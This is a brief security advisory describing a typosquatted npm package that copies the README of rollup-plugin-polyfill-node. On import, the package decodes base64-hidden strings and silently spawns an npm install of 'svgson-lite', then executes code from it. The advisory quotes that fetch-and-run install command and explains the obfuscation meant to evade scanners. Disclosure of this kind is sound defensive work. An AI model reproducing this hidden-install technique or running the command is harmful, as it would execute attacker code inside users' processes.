Package name typosquats the popular rollup-plugin-polyfill-node and copies its README verbatim to bait installs. On require() of the main entry (dist/index.js), the module decodes base64 blobs to reconstruct the strings 'npm install svgson-lite --no-save --silent --no-audit --no-fund' and the module name 'svgson-lite', spawns the install via child_process.spawn (stdio ignored, windowsHide true), and on process close require()s the freshly-installed svgson-lite package and invokes svgo.getPlugin()(). This fetches and executes attacker-controlled code from a second npm package inside the consumer's process every time the library is imported. The install command and target module name are stored as base64 to hide them from static scanners; a legitimate rollup polyfill plugin has no need to conceal npm install calls.
